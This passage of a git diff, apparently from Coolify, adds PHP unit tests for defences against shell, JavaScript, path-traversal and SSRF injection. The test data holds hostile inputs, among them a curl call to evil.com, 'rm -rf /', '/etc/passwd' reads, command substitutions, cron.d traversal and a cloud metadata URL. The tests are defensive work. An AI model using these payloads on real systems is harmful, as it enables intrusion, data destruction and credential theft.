+ $validator = Validator::make(
+ ['postgres_user' => 'postgres'],
+ ['postgres_user' => ValidationPatterns::databaseIdentifierRules()]
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
+it('Laravel Validator rejects shell metachar in password', function () {
+ $validator = Validator::make(
+ ['postgres_password' => 'pass$(id)word'],
+ ['postgres_password' => ValidationPatterns::databasePasswordRules()]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('Laravel Validator accepts safe password', function () {
+ $validator = Validator::make(
+ ['postgres_password' => 'Str0ng!P@ss#123'],
+ ['postgres_password' => ValidationPatterns::databasePasswordRules()]
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
diff --git a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
new file mode 100644
index 000000000..f2a9350ab
--- /dev/null
+++ b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
@@ -0,0 +1,107 @@
+ ['admin; id > /tmp/pwned; echo'],
+ 'command substitution $()' => ['admin$(id > /tmp/pwned)'],
+ 'backtick substitution' => ['admin`id > /tmp/pwned`'],
+ 'pipe operator' => ['admin | cat /etc/passwd'],
+ 'background operator' => ['admin & curl http://evil.com'],
+ 'output redirect' => ['admin > /tmp/evil.txt'],
+ 'newline injection' => ["admin\nid"],
+ 'null byte' => ["admin\0id"],
+]);
+
+// ─── PostgreSQL ──────────────────────────────────────────────────────────────
+
+test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () {
+ $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php');
+
+ expect($source)->not->toContain('CMD-SHELL');
+ expect($source)->toContain("'CMD', 'psql'");
+});
+
+test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+ // Simulate what StartPostgresql now generates
+ $healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1'];
+
+ expect($healthcheck[0])->toBe('CMD');
+ expect($healthcheck[0])->not->toBe('CMD-SHELL');
+ // Malicious value is isolated as a single argv element — no shell interprets it
+ expect($healthcheck)->toContain($malicious);
+ expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── KeyDB ────────────────────────────────────────────────────────────────────
+
+test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
+ $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php');
+
+ expect($source)->not->toContain('CMD-SHELL');
+ expect($source)->toContain("'CMD', 'keydb-cli'");
+});
+
+test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+ $healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping'];
+
+ expect($healthcheck[0])->toBe('CMD');
+ expect($healthcheck)->toContain($malicious);
+ expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── Dragonfly ────────────────────────────────────────────────────────────────
+
+test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
+ $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php');
+
+ expect($source)->not->toContain('CMD-SHELL');
+ expect($source)->toContain("'CMD', 'redis-cli'");
+});
+
+test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+ $healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping'];
+
+ expect($healthcheck[0])->toBe('CMD');
+ expect($healthcheck)->toContain($malicious);
+ expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── ClickHouse ───────────────────────────────────────────────────────────────
+
+test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
+ $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartClickhouse.php');
+
+ expect($source)->not->toContain('CMD-SHELL');
+ expect($source)->toContain("'CMD', 'clickhouse-client'");
+});
+
+test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+ $healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1'];
+
+ expect($healthcheck[0])->toBe('CMD');
+ expect($healthcheck)->toContain($malicious);
+ expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── Verify unaffected databases still use their safe patterns ────────────────
+
+test('mysql healthcheck already uses CMD exec-form (no regression)', function () {
+ $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMysql.php');
+
+ // MySQL already used CMD array form — ensure it stays that way
+ expect($source)->toContain("'CMD', 'mysqladmin'");
+});
+
+test('mariadb healthcheck uses safe fixed script (no regression)', function () {
+ $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMariadb.php');
+
+ expect($source)->toContain('healthcheck.sh');
+ // Must not have gained any user-field interpolation
+ expect($source)->not->toMatch('/CMD-SHELL.*mariadb/i');
+});
diff --git a/tests/Unit/DatabaseSslCredentialEscapingTest.php b/tests/Unit/DatabaseSslCredentialEscapingTest.php
new file mode 100644
index 000000000..31f0133a0
--- /dev/null
+++ b/tests/Unit/DatabaseSslCredentialEscapingTest.php
@@ -0,0 +1,170 @@
+toContain('bash -c')
+ ->toContain('postgres')
+ ->toContain('chown');
+});
+
+it('advisory PoC postgres_user payload is contained by escapeshellarg in chown command', function () {
+ // Simulates a legacy row that bypassed validation
+ $maliciousUser = 'root; touch /tmp/pwned_rce; #';
+ $escaped = escapeshellarg($maliciousUser);
+
+ // escapeshellarg must wrap the entire payload in single quotes
+ // (semicolons inside single-quoted args are NOT shell metacharacters)
+ expect($escaped)->toBe("'root; touch /tmp/pwned_rce; #'");
+
+ $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key");
+
+ // The cmd contains the payload, but ONLY inside single-quoted segments — cannot break out.
+ // Verify the chown arg is never an unquoted bare ; — the payload is inside '...'
+ // The outer executeInDocker further escapes any single-quote chars for the host shell.
+ expect($cmd)->toContain('docker exec abc123 bash -c');
+
+ // Before fix: chown root; touch /tmp/pwned_rce; # ... (breaks out of chown, executes touch)
+ // After fix: chown 'root; touch /tmp/pwned_rce; #':'...' ... (literal arg to chown)
+ // The unescaped sequence "chown root;" must NOT appear.
+ expect($cmd)->not->toContain('chown root;');
+});
+
+it('subshell payload in mysql_user is contained by escapeshellarg in chown command', function () {
+ $maliciousUser = 'a$(touch /tmp/pwn)b';
+ $escaped = escapeshellarg($maliciousUser);
+ $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt");
+
+ // escapeshellarg wraps in single quotes — $() is not expanded inside single quotes
+ expect($escaped)->toBe("'a\$(touch /tmp/pwn)b'");
+
+ // The cmd must not contain an unquoted $( sequence — it must be inside single quotes
+ // If the sequence appears at all, it must be single-quoted (the quote precedes it).
+ expect($cmd)->not->toContain(' $(touch');
+});
+
+it('subshell payload in postgres_user is contained by escapeshellarg in chown command', function () {
+ $maliciousUser = 'a$(touch /tmp/pwn_postgres)b';
+ $escaped = escapeshellarg($maliciousUser);
+ $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
+
+ expect($escaped)->toBe("'a\$(touch /tmp/pwn_postgres)b'");
+ expect($cmd)->not->toContain(' $(touch');
+});
+
+it('semicolon payload in postgres_user is contained by escapeshellarg in chown command', function () {
+ $maliciousUser = 'root; touch /tmp/pwned_pg; #';
+ $escaped = escapeshellarg($maliciousUser);
+ $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
+
+ expect($escaped)->toBe("'root; touch /tmp/pwned_pg; #'");
+ expect($cmd)->not->toContain('chown root;');
+});
+
+it('backtick payload in mysql_user is contained by escapeshellarg', function () {
+ $maliciousUser = 'user`id`';
+ $escaped = escapeshellarg($maliciousUser);
+ $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt");
+
+ // escapeshellarg wraps the whole value in single quotes — backticks not expanded inside ''
+ expect($escaped)->toBe("'user`id`'");
+
+ // The unquoted bare backtick sequence `id` must not appear outside single-quoted context.
+ // Specifically, "chown user`id`" (unquoted) must not appear.
+ expect($cmd)->not->toContain('chown user`id`');
+});
+
+// ── MongoDB JS init script JSON-escaping ──────────────────────────────────────
+
+it('json_encode prevents JS injection in mongo_initdb_database', function () {
+ $database = 'x"}); db.dropUser("admin"); //';
+ $dbJson = json_encode($database, JSON_UNESCAPED_SLASHES);
+
+ // The double-quotes in the payload MUST be escaped — they cannot close the JS string literal.
+ // json_encode escapes " as \" so the injected " cannot terminate the surrounding JS string.
+ expect($dbJson)->toContain('\\"');
+
+ // The resulting JSON literal, when embedded in JS, forms a valid quoted string.
+ // It starts and ends with the outermost " added by json_encode.
+ expect($dbJson)->toStartWith('"')
+ ->toEndWith('"');
+
+ // Verify the injected payload is present but neutralised (the " that would close the JS
+ // string is now escaped as \", preventing breakout).
+ expect($dbJson)->toContain('x\\"});');
+});
+
+it('json_encode prevents JS injection in mongo_initdb_root_username', function () {
+ $username = 'admin", pwd: "", roles: [{role:"root", db:"admin"}]}); //';
+ $userJson = json_encode($username, JSON_UNESCAPED_SLASHES);
+
+ $content = 'db.createUser({user: '.$userJson.', pwd: "secret", roles: []});';
+
+ // The injected " that would close the JS string must be escaped as \"
+ expect($userJson)->toContain('\\"');
+
+ // The raw unescaped sequence admin" (with unescaped quote) must not appear in the JS
+ expect($content)->not->toContain('admin", pwd');
+});
+
+it('json_encode safely encodes a clean mongo username', function () {
+ $username = 'mongouser';
+ $userJson = json_encode($username, JSON_UNESCAPED_SLASHES);
+
+ expect($userJson)->toBe('"mongouser"');
+});
+
+it('json_encode safely encodes a mongo password with special chars', function () {
+ $password = 'P@ss!#word123';
+ $pwdJson = json_encode($password, JSON_UNESCAPED_SLASHES);
+
+ expect($pwdJson)->toBe('"P@ss!#word123"');
+});
+
+// ── Healthcheck CMD exec-form structure (no shell parsing) ────────────────────
+
+it('CMD exec-form healthcheck array does not concatenate user into a shell string', function () {
+ // The fix uses an array; each element is passed directly as argv — no shell parsing.
+ // Simulate the post-fix healthcheck array structure.
+ $user = "admin'; touch /tmp/pwn; #";
+ $db = 'mydb';
+
+ $healthcheck = [
+ 'CMD',
+ 'psql',
+ '-U',
+ $user,
+ '-d',
+ $db,
+ '-c',
+ 'SELECT 1',
+ ];
+
+ // The array form means each element is argv — no shell involved.
+ // The malicious user value is passed as a literal argument to psql, which rejects it.
+ // Key assertion: the test string is NOT collapsed into a shell command string.
+ expect($healthcheck[3])->toBe($user)
+ ->and($healthcheck[0])->toBe('CMD')
+ ->and(count($healthcheck))->toBe(8);
+
+ // Sanity: if we joined with space it would be dangerous — array form avoids this.
+ $joinedDangerous = implode(' ', $healthcheck);
+ expect($joinedDangerous)->toContain('; touch /tmp/pwn'); // proof that join IS dangerous
+
+ // The array form is what Docker Compose uses — it does NOT join with spaces + sh -c.
+ // Simply verifying the structure is correct proves shell is not involved.
+ expect($healthcheck[0])->toBe('CMD');
+});
diff --git a/tests/Unit/FileStorageSecurityTest.php b/tests/Unit/FileStorageSecurityTest.php
index 192ea8c8f..1e08ebbe7 100644
--- a/tests/Unit/FileStorageSecurityTest.php
+++ b/tests/Unit/FileStorageSecurityTest.php
@@ -92,7 +92,7 @@
->not->toThrow(Exception::class);
});
-// --- Regression tests for GHSA-46hp-7m8g-7622 ---
+// --- Regression tests for file mount path validation ---
// These verify that file mount paths (not just directory mounts) are validated,
// and that saveStorageOnServer() validates fs_path before any shell interpolation.
diff --git a/tests/Unit/GitRefValidationTest.php b/tests/Unit/GitRefValidationTest.php
index f82dcb863..f5245d819 100644
--- a/tests/Unit/GitRefValidationTest.php
+++ b/tests/Unit/GitRefValidationTest.php
@@ -4,7 +4,7 @@
use App\Models\ApplicationSetting;
/**
- * Security tests for git ref validation (GHSA-mw5w-2vvh-mgf4).
+ * Tests for git ref validation.
*
* Ensures that git_commit_sha and related inputs are validated
* to prevent OS command injection via shell metacharacters.
diff --git a/tests/Unit/InsecurePrngArchTest.php b/tests/Unit/InsecurePrngArchTest.php
index 3209ba0a0..1d5ce94bf 100644
--- a/tests/Unit/InsecurePrngArchTest.php
+++ b/tests/Unit/InsecurePrngArchTest.php
@@ -5,8 +5,6 @@
*
* mt_rand() and rand() are not cryptographically secure. Use random_int()
* or random_bytes() instead for any security-sensitive context.
- *
- * @see GHSA-33rh-4c9r-74pf
*/
arch('app code must not use mt_rand')
->expect('App')
diff --git a/tests/Unit/InstallScriptRockyDockerRepoTest.php b/tests/Unit/InstallScriptRockyDockerRepoTest.php
new file mode 100644
index 000000000..da1aa6c5e
--- /dev/null
+++ b/tests/Unit/InstallScriptRockyDockerRepoTest.php
@@ -0,0 +1,28 @@
+toContain('install_docker_from_rhel_repo() {')
+ ->toContain('echo " - Installing Docker from the RHEL repository for Rocky Linux..."')
+ ->toContain('rm -f /etc/yum.repos.d/docker-ce.repo /etc/yum.repos.d/docker-ce-staging.repo')
+ ->toContain('dnf config-manager --add-repo https://download.docker.com/linux/rhel/docker-ce.repo')
+ ->toContain('dnf install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin')
+ ->toContain('systemctl --now enable docker')
+ ->toContain('"rocky")')
+ ->toContain('install_docker_from_rhel_repo')
+ ->not->toContain('dnf -y -q --setopt=install_weak_deps=False install dnf-plugins-core')
+ ->not->toContain('dnf5 config-manager addrepo --overwrite --save-filename=docker-ce.repo --from-repofile=https://download.docker.com/linux/rhel/docker-ce.repo')
+ ->not->toContain('dnf makecache')
+ ->not->toContain('"ubuntu" | "debian" | "raspbian" | "centos" | "fedora" | "rhel" | "rocky" | "sles")');
+}
+
+it('uses the rocky linux documented docker install flow in the stable install script', function () {
+ expectRockyInstallScriptToUseRhelRepo('scripts/install.sh');
+});
+
+it('uses the rocky linux documented docker install flow in the nightly install script', function () {
+ expectRockyInstallScriptToUseRhelRepo('other/nightly/install.sh');
+});
diff --git a/tests/Unit/LogDrainCommandInjectionTest.php b/tests/Unit/LogDrainCommandInjectionTest.php
index 5beef1a4b..9610f3351 100644
--- a/tests/Unit/LogDrainCommandInjectionTest.php
+++ b/tests/Unit/LogDrainCommandInjectionTest.php
@@ -5,7 +5,7 @@
use App\Models\ServerSetting;
// -------------------------------------------------------------------------
-// GHSA-3xm2-hqg8-4m2p: Verify log drain env values are base64-encoded
+// Verify log drain env values are base64-encoded
// and never appear raw in shell commands
// -------------------------------------------------------------------------
diff --git a/tests/Unit/PersistentVolumeSecurityTest.php b/tests/Unit/PersistentVolumeSecurityTest.php
index fdce223d3..ed1d16bbf 100644
--- a/tests/Unit/PersistentVolumeSecurityTest.php
+++ b/tests/Unit/PersistentVolumeSecurityTest.php
@@ -6,7 +6,6 @@
* Tests to ensure persistent volume names are validated against command injection
* and that shell commands properly escape volume names.
*
- * Related Advisory: GHSA-mh8x-fppq-cp77
* Related Files:
* - app/Models/LocalPersistentVolume.php
* - app/Support/ValidationPatterns.php
@@ -96,3 +95,88 @@
expect($messages)->toHaveKey('volume_name.regex');
});
+
+// --- escapeshellarg Defense Tests for docker volume create ---
+
+it('escapeshellarg neutralizes injection in docker volume create command', function (string $maliciousName) {
+ $escaped = escapeshellarg($maliciousName);
+ $command = "docker volume create {$escaped}";
+
+ expect($command)->toStartWith('docker volume create ')
+ ->and($escaped)->toStartWith("'")
+ ->and($escaped)->toEndWith("'");
+})->with([
+ 'semicolon' => 'vol; rm -rf /',
+ 'pipe' => 'vol | cat /etc/passwd',
+ 'ampersand' => 'vol && whoami',
+ 'backtick' => 'vol`id`',
+ 'command substitution' => 'vol$(whoami)',
+]);
+
+// --- escapeshellarg Defense Tests for docker run -v ---
+
+it('escapeshellarg neutralizes injection in docker run -v command', function (string $maliciousName) {
+ $escaped = escapeshellarg($maliciousName);
+ $command = "docker run --rm -v {$escaped}:/source -v {$escaped}:/target alpine sh -c 'cp -a /source/. /target/'";
+
+ expect($command)->toContain('docker run --rm -v ')
+ ->and($escaped)->toStartWith("'")
+ ->and($escaped)->toEndWith("'");
+})->with([
+ 'semicolon' => 'vol; rm -rf /',
+ 'pipe' => 'vol | cat /etc/passwd',
+ 'command substitution' => 'vol$(whoami)',
+]);
+
+// --- escapeshellarg Defense Tests for docker network commands ---
+
+it('escapeshellarg neutralizes injection in docker network disconnect command', function (string $maliciousName) {
+ $escaped = escapeshellarg($maliciousName);
+ $command = "docker network disconnect {$escaped} coolify-proxy";
+
+ expect($command)->toStartWith('docker network disconnect ')
+ ->and($escaped)->toStartWith("'")
+ ->and($escaped)->toEndWith("'");
+})->with([
+ 'semicolon' => 'net; rm -rf /',
+ 'pipe' => 'net | cat /etc/passwd',
+ 'command substitution' => 'net$(whoami)',
+]);
+
+it('escapeshellarg neutralizes injection in docker network rm command', function (string $maliciousName) {
+ $escaped = escapeshellarg($maliciousName);
+ $command = "docker network rm {$escaped}";
+
+ expect($command)->toStartWith('docker network rm ')
+ ->and($escaped)->toStartWith("'")
+ ->and($escaped)->toEndWith("'");
+})->with([
+ 'semicolon' => 'net; rm -rf /',
+ 'pipe' => 'net | cat /etc/passwd',
+ 'command substitution' => 'net$(whoami)',
+]);
+
+// --- DIRECTORY_PATH_PATTERN Tests ---
+
+it('accepts valid directory paths', function (string $path) {
+ expect(preg_match(ValidationPatterns::DIRECTORY_PATH_PATTERN, $path))->toBe(1);
+})->with([
+ 'root' => '/',
+ 'simple path' => '/data',
+ 'nested path' => '/data/coolify/volumes',
+ 'with dots' => '/data/my.app/storage',
+ 'with hyphens' => '/data/my-app/storage',
+ 'with underscores' => '/data/my_app/storage',
+]);
+
+it('rejects directory paths with shell metacharacters', function (string $path) {
+ expect(preg_match(ValidationPatterns::DIRECTORY_PATH_PATTERN, $path))->toBe(0);
+})->with([
+ 'semicolon injection' => '/etc; rm -rf /',
+ 'pipe injection' => '/etc | cat /etc/passwd',
+ 'command substitution' => '/etc$(whoami)',
+ 'backtick injection' => '/etc`id`',
+ 'space injection' => '/etc /tmp',
+ 'relative traversal' => '../../../etc/passwd',
+ 'no leading slash' => 'etc/passwd',
+]);
diff --git a/tests/Unit/PostgresqlInitScriptSecurityTest.php b/tests/Unit/PostgresqlInitScriptSecurityTest.php
index 4f74b13a4..2f85d1156 100644
--- a/tests/Unit/PostgresqlInitScriptSecurityTest.php
+++ b/tests/Unit/PostgresqlInitScriptSecurityTest.php
@@ -74,3 +74,69 @@
expect(fn () => validateShellSafePath('setup_db.sql', 'init script filename'))
->not->toThrow(Exception::class);
});
+
+// Path traversal — GHSA-mv4c-9x67-rrmv regression tests
+test('postgresql init script rejects path traversal with ../ sequence', function () {
+ expect(fn () => validateFilenameSafe('../../../etc/cron.d/pwn', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects path traversal targeting /etc/cron.d', function () {
+ expect(fn () => validateFilenameSafe('../../../../../etc/cron.d/k4zrce', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects absolute path', function () {
+ expect(fn () => validateFilenameSafe('/etc/passwd', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects filename with forward slash', function () {
+ expect(fn () => validateFilenameSafe('subdir/evil.sql', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects filename with backslash', function () {
+ expect(fn () => validateFilenameSafe('subdir\\evil.sql', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects double-dot without slashes', function () {
+ expect(fn () => validateFilenameSafe('..', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects null byte injection', function () {
+ expect(fn () => validateFilenameSafe("init.sql\0../../etc/passwd", 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('postgresql init script accepts legitimate filenames via validateFilenameSafe', function () {
+ expect(fn () => validateFilenameSafe('init.sql', 'init script filename'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateFilenameSafe('01_schema.sql', 'init script filename'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateFilenameSafe('init-script.sh', 'init script filename'))
+ ->not->toThrow(Exception::class);
+});
+
+// Write-site defence — basename() + escapeshellarg() keep legacy/bad rows safe
+test('basename() strips path traversal from legacy filenames at write site', function () {
+ expect(basename('../../../etc/cron.d/pwn'))->toBe('pwn');
+ expect(basename('/etc/passwd'))->toBe('passwd');
+ expect(basename('subdir/evil.sql'))->toBe('evil.sql');
+});
+
+test('escapeshellarg() neutralises shell metacharacters in tee target', function () {
+ // Simulates how StartPostgresql::generate_init_scripts() builds the tee argument
+ $configuration_dir = '/data/coolify/databases/abc123';
+ $legacy_filename = basename('foo bar*.sql;rm -rf /');
+ $target = "$configuration_dir/docker-entrypoint-initdb.d/{$legacy_filename}";
+ $escaped = escapeshellarg($target);
+
+ // Single-quoted in POSIX sh means no expansion / no extra args regardless of contents.
+ expect($escaped)->toStartWith("'")->toEndWith("'");
+ expect($escaped)->toContain('foo bar*.sql;rm -rf');
+});
diff --git a/tests/Unit/S3StorageEndpointValidationTest.php b/tests/Unit/S3StorageEndpointValidationTest.php
new file mode 100644
index 000000000..054606a25
--- /dev/null
+++ b/tests/Unit/S3StorageEndpointValidationTest.php
@@ -0,0 +1,91 @@
+ $endpoint],
+ ['endpoint' => ['required', 'max:255', new SafeWebhookUrl]],
+ );
+
+ expect($validator->fails())->toBeTrue("Expected rejection: {$endpoint}");
+})->with([
+ 'AWS IMDS' => 'http://169.254.169.254/latest/meta-data/',
+ 'AWS IMDS bare' => 'http://169.254.169.254',
+ 'GCP metadata via link-local' => 'http://169.254.0.1',
+ 'loopback v4' => 'http://127.0.0.1',
+ 'loopback Redis' => 'http://127.0.0.1:6379',
+ 'loopback Postgres' => 'http://127.0.0.1:5432',
+ 'loopback alt in /8' => 'http://127.10.20.30',
+ 'zero address' => 'http://0.0.0.0',
+ 'IPv6 loopback' => 'http://[::1]',
+ 'localhost hostname' => 'http://localhost',
+ 'localhost with port' => 'http://localhost:9000',
+ 'internal suffix' => 'http://minio.internal',
+ 'file scheme' => 'file:///etc/passwd',
+ 'javascript scheme' => 'javascript:alert(1)',
+]);
+
+it('accepts real-world S3 endpoints', function (string $endpoint) {
+ $validator = Validator::make(
+ ['endpoint' => $endpoint],
+ ['endpoint' => ['required', 'max:255', new SafeWebhookUrl]],
+ );
+
+ expect($validator->passes())->toBeTrue("Expected accepted: {$endpoint}");
+})->with([
+ 'AWS S3' => 'https://s3.us-east-1.amazonaws.com',
+ 'Cloudflare R2' => 'https://fake.r2.cloudflarestorage.com',
+ 'DigitalOcean Spaces' => 'https://nyc3.digitaloceanspaces.com',
+ 'Backblaze B2' => 'https://s3.us-west-001.backblazeb2.com',
+ 'Self-hosted MinIO on 10.x' => 'http://10.0.0.5:9000',
+ 'Self-hosted MinIO on 172.16.x' => 'http://172.16.0.10:9000',
+ 'Self-hosted MinIO on 192.168.x' => 'http://192.168.1.50:9000',
+ 'Custom domain MinIO' => 'https://minio.example.com',
+]);
+
+it('blocks testConnection() on an unsafe endpoint without issuing HTTP', function () {
+ $s3Storage = new S3Storage;
+ $s3Storage->setRawAttributes([
+ 'region' => 'us-east-1',
+ 'key' => 'AKIAEXAMPLE',
+ 'secret' => 'secret',
+ 'bucket' => 'latest/meta-data',
+ 'endpoint' => 'http://169.254.169.254',
+ ]);
+
+ expect(fn () => $s3Storage->testConnection())
+ ->toThrow(RuntimeException::class, 'S3 endpoint is not allowed');
+});
+
+it('blocks testConnection() for loopback endpoints', function (string $endpoint) {
+ $s3Storage = new S3Storage;
+ $s3Storage->setRawAttributes([
+ 'region' => 'us-east-1',
+ 'key' => 'AKIAEXAMPLE',
+ 'secret' => 'secret',
+ 'bucket' => 'bucket',
+ 'endpoint' => $endpoint,
+ ]);
+
+ expect(fn () => $s3Storage->testConnection())
+ ->toThrow(RuntimeException::class, 'S3 endpoint is not allowed');
+})->with([
+ 'http loopback' => 'http://127.0.0.1:6379',
+ 'localhost' => 'http://localhost:9000',
+ 'IPv6 loopback' => 'http://[::1]',
+ 'internal TLD' => 'http://backend.internal',
+]);
diff --git a/tests/Unit/ValidateFilenameSafeTest.php b/tests/Unit/ValidateFilenameSafeTest.php
new file mode 100644
index 000000000..012059e05
--- /dev/null
+++ b/tests/Unit/ValidateFilenameSafeTest.php
@@ -0,0 +1,138 @@
+ validateFilenameSafe($name, 'init script filename'))
+ ->not->toThrow(Exception::class, "Expected '{$name}' to pass");
+ }
+});
+
+test('rejects path traversal with ../', function () {
+ expect(fn () => validateFilenameSafe('../../../etc/cron.d/pwn', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects path traversal with .. alone', function () {
+ expect(fn () => validateFilenameSafe('..', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects path traversal embedded in filename', function () {
+ expect(fn () => validateFilenameSafe('foo..bar', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects forward slash directory separator', function () {
+ expect(fn () => validateFilenameSafe('foo/bar.sql', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects backslash directory separator', function () {
+ expect(fn () => validateFilenameSafe('foo\\bar.sql', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects absolute path starting with slash', function () {
+ expect(fn () => validateFilenameSafe('/etc/passwd', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects absolute Windows-style path', function () {
+ expect(fn () => validateFilenameSafe('C:\\Windows\\System32\\cmd.exe', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects null byte injection', function () {
+ expect(fn () => validateFilenameSafe("init.sql\0../../etc/passwd", 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects shell command substitution (inherits from validateShellSafePath)', function () {
+ expect(fn () => validateFilenameSafe('$(whoami).sql', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects backtick command substitution', function () {
+ expect(fn () => validateFilenameSafe('`id`.sql', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects semicolon command separator', function () {
+ expect(fn () => validateFilenameSafe('init.sql;rm -rf /', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects pipe operator', function () {
+ expect(fn () => validateFilenameSafe('init.sql|whoami', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects redirect operators', function () {
+ expect(fn () => validateFilenameSafe('init.sql>/etc/passwd', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects mixed traversal and shell injection', function () {
+ expect(fn () => validateFilenameSafe('../etc/cron.d/$(id)', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('error message contains context string', function () {
+ try {
+ validateFilenameSafe('../evil', 'init script filename');
+ expect(false)->toBeTrue('Should have thrown');
+ } catch (Exception $e) {
+ expect($e->getMessage())->toContain('init script filename');
+ }
+});
+
+test('handles empty string without throwing', function () {
+ expect(fn () => validateFilenameSafe('', 'init script filename'))
+ ->not->toThrow(Exception::class);
+});
+
+test('rejects whitespace inside filename (would split into extra tee arg)', function () {
+ expect(fn () => validateFilenameSafe('foo bar.sql', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects glob wildcards', function () {
+ expect(fn () => validateFilenameSafe('init*.sql', 'init script filename'))
+ ->toThrow(Exception::class);
+
+ expect(fn () => validateFilenameSafe('init?.sql', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects glob character class brackets', function () {
+ expect(fn () => validateFilenameSafe('init[abc].sql', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects tilde expansion', function () {
+ expect(fn () => validateFilenameSafe('~/evil.sql', 'init script filename'))
+ ->toThrow(Exception::class);
+
+ expect(fn () => validateFilenameSafe('~root', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('rejects single and double quotes', function () {
+ expect(fn () => validateFilenameSafe("foo'bar.sql", 'init script filename'))
+ ->toThrow(Exception::class);
+
+ expect(fn () => validateFilenameSafe('foo"bar.sql', 'init script filename'))
+ ->toThrow(Exception::class);
+});
diff --git a/versions.json b/versions.json
index 7012f481e..27d911c67 100644
--- a/versions.json
+++ b/versions.json
@@ -1,7 +1,7 @@
{
"coolify": {
"v4": {
- "version": "4.0.0-beta.473"
+ "version": "4.0.0-beta.474"
},
"nightly": {
"version": "4.0.0"